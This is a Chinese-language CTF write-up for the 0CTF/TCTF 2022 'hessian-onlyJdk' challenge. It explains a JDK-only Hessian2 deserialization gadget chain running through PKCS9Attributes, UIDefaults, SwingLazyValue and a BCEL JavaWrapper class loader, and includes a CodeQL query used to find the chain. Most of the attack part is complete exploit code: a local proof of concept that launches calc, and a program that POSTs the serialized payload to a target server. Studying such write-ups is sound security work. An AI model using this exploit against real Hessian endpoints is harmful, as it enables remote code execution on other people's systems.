http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk/#CVE-2021-43297 https://goodapple.top/archives/1145 https://goodapple.top/archives/1193 https://xz.aliyun.com/t/10997#toc-2 https://m0d9.me/2021/08/29/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%89%EF%BC%89%E2%80%94%E2%80%94Tabby%20CVE%E4%B9%8B%E6%97%85/ 
审题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package  com.ctf.hessian.onlyJdk;import  com.caucho.hessian.io.Hessian2Input;import  com.sun.net.httpserver.HttpExchange;import  com.sun.net.httpserver.HttpHandler;import  com.sun.net.httpserver.HttpServer;import  java.io.IOException;import  java.io.InputStream;import  java.io.OutputStream;import  java.net.InetSocketAddress;import  java.util.concurrent.Executors;public  class  Index  {    public  Index ()  {     }     public  static  void  main (String[] args)  throws  Exception {         System.out.println("server start" );         HttpServer  server  =  HttpServer.create(new  InetSocketAddress (8090 ), 0 );         server.createContext("/" , new  MyHandler ());         server.setExecutor(Executors.newCachedThreadPool());         server.start();     }     static  class  MyHandler  implements  HttpHandler  {         MyHandler() {         }         public  void  handle (HttpExchange t)  throws  IOException {             String  response  =  "Welcome to 0CTF 2022!" ;             InputStream  is  =  t.getRequestBody();             try  {                 Hessian2Input  input  =  new  Hessian2Input (is);                 input.readObject();             } catch  (Exception var5) {                 var5.printStackTrace();                 response = "oops! something is wrong" ;             }             t.sendResponseHeaders(200 , (long )response.length());             OutputStream  os  =  t.getResponseBody();             os.write(response.getBytes());             os.close();         }     } } 
很狂的开局,一个文件,明显的反序列化点,简单明了,但是仔细看看发现完全不是maven项目,也没有什么依赖一说,而我们之前解出的Hessian都是有第三方依赖的,那这波肯定是原生JDK打hessian2反序列化了。
摆烂解题 题目给了个hint,有一个toString利用链:https://x-stream.github.io/CVE-2021-21346.html 
1 2 3 4 5 6 javax.swing.MultiUIDefaults#toString 	UIDefaults#get 		UIDefaults#getFromHashTable 			UIDefaults$LazyValue#createValue 			SwingLazyValue#createValue 				javax.naming.InitialContext#doLookup() 
给了一条toString的链子,这个出自CVE-2021-21346,一个Xstream的漏洞,既然是toString的链子那么就应该是hessian2的expect抛出异常触发toString了
javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限 
所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功 
 
 
因此需要找一个MultiUIDeafaults的替代类,这里的UIDeafaults是继承Hashtable的,所以需要从toString到HashTable.get(hessian可以反序列化未实现serializable接口的类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 /** @kind path-problem */ import java import semmle.code.java.dataflow.FlowSources class ROMethod extends Method{     ROMethod(){         this.hasName("toString")     } } class Source extends Callable {     Source(){         (             this instanceof ROMethod         )     } } class GetMethod extends Method { GetMethod(){         this.hasName("get") and         this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable")     } } class DangerousMethod extends Callable {     DangerousMethod(){         this instanceof GetMethod      } } class CallsDangerousMethod extends Callable {     CallsDangerousMethod() {         exists(Callable a| this.polyCalls(a) and          a instanceof DangerousMethod )     }   }   query predicate edges(Method a, Method b) {      a.polyCalls(b)      and     a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName()) } from Source source, CallsDangerousMethod sink where edges+(source, sink) select source, source, sink, "$@ $@ to $@ $@" , source.getDeclaringType(),source.getDeclaringType().getName(), source,source.getName(), sink.getDeclaringType(),sink.getDeclaringType().getName(), sink,sink.getName()  
ql代码如上,给以后的自己慢慢啃吧。。codeql真的好强大sun.security.pkcs.PKCS9AttributesgetAttribute方法,而这方法里面又调用了get方法PKCS9Attributes.toString->HashTable.get->UIDefault.get->UIDeafult->getFromHashTable->createValue->xxx.invokeSwingLazyValue#createValue中JavaWrapper._main方法,这个方法内部逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17   public  static  void  _main (String[] argv)  throws  Exception {          if (argv.length == 0 ) {       System.out.println("Missing class name." );       return ;     }     String  class_name  =  argv[0 ];     String[] new_argv = new  String [argv.length - 1 ];     System.arraycopy(argv, 1 , new_argv, 0 , new_argv.length);     JavaWrapper  wrapper  =  new  JavaWrapper ();     wrapper.runMain(class_name, new_argv);   } } 
其中主要漏洞逻辑存在于runMain方法中
1 2 3 4 5 6 7 8 9 package  Hessian2;import  java.io.IOException;public  class  shell  {    public  static  void   _main (String[] argv)  throws  IOException {         Runtime.getRuntime().exec("calc" );     } } 
这里的shell.class需要有参数,要符合上图中的规则com.sun.org.apache.bcel.internal.util.ClassLoader那这里也就涉及一个bcel的类加载问题,这个我在之前的文章中说过了,一个小tips
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import  com.caucho.hessian.io.Hessian2Input;import  com.caucho.hessian.io.Hessian2Output;import  com.sun.org.apache.bcel.internal.Repository;import  com.sun.org.apache.bcel.internal.classfile.JavaClass;import  com.sun.org.apache.bcel.internal.classfile.Utility;import  sun.reflect.ReflectionFactory;import  sun.security.pkcs.PKCS9Attribute;import  sun.security.pkcs.PKCS9Attributes;import  sun.swing.SwingLazyValue;import  javax.swing.*;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;public  class  Hessian_JavaWrapper  {    public  static  void  main (String[] args)  throws  Exception {         PKCS9Attributes  s  =  createWithoutConstructor(PKCS9Attributes.class);         UIDefaults  uiDefaults  =  new  UIDefaults ();         JavaClass  evil  =  Repository.lookupClass(test.class);         String  payload  =  "$$BCEL$$"  + Utility.encode(evil.getBytes(), true );         uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new  SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new  Object []{new  String []{payload}}));         setFieldValue(s,"attributes" ,uiDefaults);         ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();         Hessian2Output  out  =  new  Hessian2Output (baos);         baos.write(67 );         out.getSerializerFactory().setAllowNonSerializable(true );         out.writeObject(s);         out.flushBuffer();         ByteArrayInputStream  bais  =  new  ByteArrayInputStream (baos.toByteArray());         Hessian2Input  input  =  new  Hessian2Input (bais);         input.readObject();     }     public  static  <T> T createWithoutConstructor (Class<T> classToInstantiate)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {         return  createWithConstructor(classToInstantiate, Object.class, new  Class [0 ], new  Object [0 ]);     }     public  static  <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super  T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {         Constructor<? super  T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);         objCons.setAccessible(true );         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);         sc.setAccessible(true );         return  (T) sc.newInstance(consArgs);     }     public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception {         Field  field  =  obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true );         field.set(obj, value);     } } 
运行之后弹出计算机
细节剖析 观察一下PKCS9Attributes类的内部结构
1 2 3 4 5 6 7 8 9 10 11 public  static  <T> T createWithoutConstructor (Class<T> classToInstantiate)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {        return  createWithConstructor(classToInstantiate, Object.class, new  Class [0 ], new  Object [0 ]);     }     public  static  <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super  T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {         Constructor<? super  T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);         objCons.setAccessible(true );         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);         sc.setAccessible(true );         return  (T) sc.newInstance(consArgs);     } 
https://www.cnblogs.com/strongmore/p/15470175.html 
还有个细节就是,我们可以看到上述poc我们是本地运行成功的,但是题目中你需要发送一个POST请求,要把你的Bytes字节流以post的形式在java中发送过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package  exp;import  Hessian2.shell;import  com.caucho.hessian.io.Hessian2Input;import  com.caucho.hessian.io.Hessian2Output;import  com.sun.org.apache.bcel.internal.Repository;import  com.sun.org.apache.bcel.internal.classfile.JavaClass;import  com.sun.org.apache.bcel.internal.classfile.Utility;import  sun.reflect.ReflectionFactory;import  sun.security.pkcs.PKCS9Attribute;import  sun.security.pkcs.PKCS9Attributes;import  sun.security.util.DerInputStream;import  sun.security.util.DerValue;import  sun.security.util.ObjectIdentifier;import  sun.swing.SwingLazyValue;import  javax.swing.*;import  java.io.*;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.net.HttpURLConnection;import  java.net.URL;import  java.net.URLEncoder;public  class  exp  {    static  final  String targetUrl="http://localhost:8090/" ;     public  static  void  main (String[] args)  throws  Exception {         PKCS9Attributes  s  =  createWithoutConstructor(PKCS9Attributes.class);         UIDefaults  uiDefaults  =  new  UIDefaults ();         JavaClass  evil  =  Repository.lookupClass(shell.class);         String  payload  =  "$$BCEL$$"  + Utility.encode(evil.getBytes(), true );         uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new  SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new  Object []{new  String []{payload}}));         setFieldValue(s,"attributes" ,uiDefaults);         ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();         Hessian2Output  out  =  new  Hessian2Output (baos);         baos.write(67 );         out.getSerializerFactory().setAllowNonSerializable(true );         out.writeObject(s);         out.flushBuffer();         post(baos.toByteArray());         ByteArrayInputStream  bais  =  new  ByteArrayInputStream (baos.toByteArray());         Hessian2Input  input  =  new  Hessian2Input (bais);              }     public  static  <T> T createWithoutConstructor (Class<T> classToInstantiate)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {         return  createWithConstructor(classToInstantiate, Object.class, new  Class [0 ], new  Object [0 ]);     }     public  static  <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super  T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)  throws  NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {         Constructor<? super  T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);         objCons.setAccessible(true );         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);         sc.setAccessible(true );         return  (T) sc.newInstance(consArgs);     }     public  static  void  setFieldValue (Object obj, String fieldName, Object value)  throws  Exception {         Field  field  =  obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  post (byte [] b)  throws  Exception{         URL url=new  URL (targetUrl);         HttpURLConnection  con  =  (HttpURLConnection) url.openConnection();         con.setRequestMethod("POST" );         con.setDoOutput(true );         try (OutputStream  os  =  con.getOutputStream()) {             os.write(b);         }         BufferedReader  in  =  new  BufferedReader (                 new  InputStreamReader (con.getInputStream()));         String inputLine;         StringBuffer  content  =  new  StringBuffer ();         while  ((inputLine = in.readLine()) != null ) {             content.append(inputLine);         }         in.close();         System.out.println(content.toString());     } }